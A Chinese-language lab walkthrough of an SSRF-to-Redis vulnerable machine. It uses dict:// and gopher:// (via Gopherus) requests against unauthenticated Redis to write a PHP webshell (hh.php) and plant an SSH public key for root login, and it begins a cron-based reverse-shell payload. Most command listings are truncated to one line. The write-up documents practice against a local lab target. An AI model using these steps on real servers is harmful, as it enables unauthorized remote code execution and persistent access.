ssrf-redis靶机
环境搭建
在下载好的靶机中,登录密码为hello
1 | su root 密码为:xbw |
信息收集
查找靶机ip
1 | arp-sanf -l |
目标ip为192.168.0.32
80端口为http服务 发现还开启了ssh服务 还有6378端口,但是进不去
只有这一个服务,那很明显现在需要爆破目录,然后我们发现了app1这个目录
它说要输入url,那我们就测试一下www.baidu.com
这不就是ssrf吗,还发现了一个robots.txt文件
1 | 1.the server port 5562 is running and it's a web application |
现在我们就知道了6378服务是redis数据库了,原本我们是不能直接访问的,现在我们可以通过这个受信任的服务器帮我们把资源请求下来
dict的利用
我们可以使用dict协议在ssrf中对其内网进行探测
分别有80 6378 22
6378就是redis数据库了
注意的是我们利用ssrf对redis写马的原理是未授权,redis没有密码保护
通过dict协议,可以看出目标端口的指纹信息 进一步利用
dict://serverip:port/命令:参数向服务器的端口请求为【命令:参数】,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利通过dict协议的话要一条一条的执行
CONFIG SET
是 Redis 的命令语句,用于在运行时修改 Redis 实例的配置,而不是直接修改配置文件。它改变的是 Redis 实例的当前配置,而这些更改会在 Redis 重启后丢失,除非将其持久化到配置文件中。
拿shell
dict
1 | dict://localhost:6378/flushall |
1.清空redis数据库
2.通过redis命令把目录设置为app1
3. 设置 Redis 的 RDB 持久化快照文件的名称为 hh.php
。这意味着当 Redis 进行数据快照时,将使用这个名称保存文件 4.设置一个为1的键,值为一句话木马
5. 在执行 SAVE
命令后,Redis 会将数据写入文件。设置了 dbfilename hh.php
后,Redis 会使用 hh.php
作为快照文件名,文件中应包含 Redis 数据
gopher
Gopherus-master.zip
我们在kali中下载这个工具之后,可以利用工具生成payload
把ip地址跟端口号改成自己的就行,然后在url强制编码
使用公私钥登录
原理是,在对方服务器中如果存在我们的公钥,那么通过私钥就可以直接进行免密登录
本地没有ssh公私钥的ssh-keygen -t rsa用这个生成
1 | nc 192.168.0.32 6378 |
在我们用nc 与靶机的redis建立联系之后,就可以执行redis命令了,就可以直接把我们的kali的公钥塞进靶机当中
然后在
ssh root@192.168.0.32
计划弹shell
成功率也是很低的,payload放这个了,感兴趣的师傅可以去试试
1 | config:set:dir:/var/spool/cron |
主从复制
本人没有做成功,就去看看大佬的文章把
https://www.cnblogs.com/xiaozi/p/13089906.html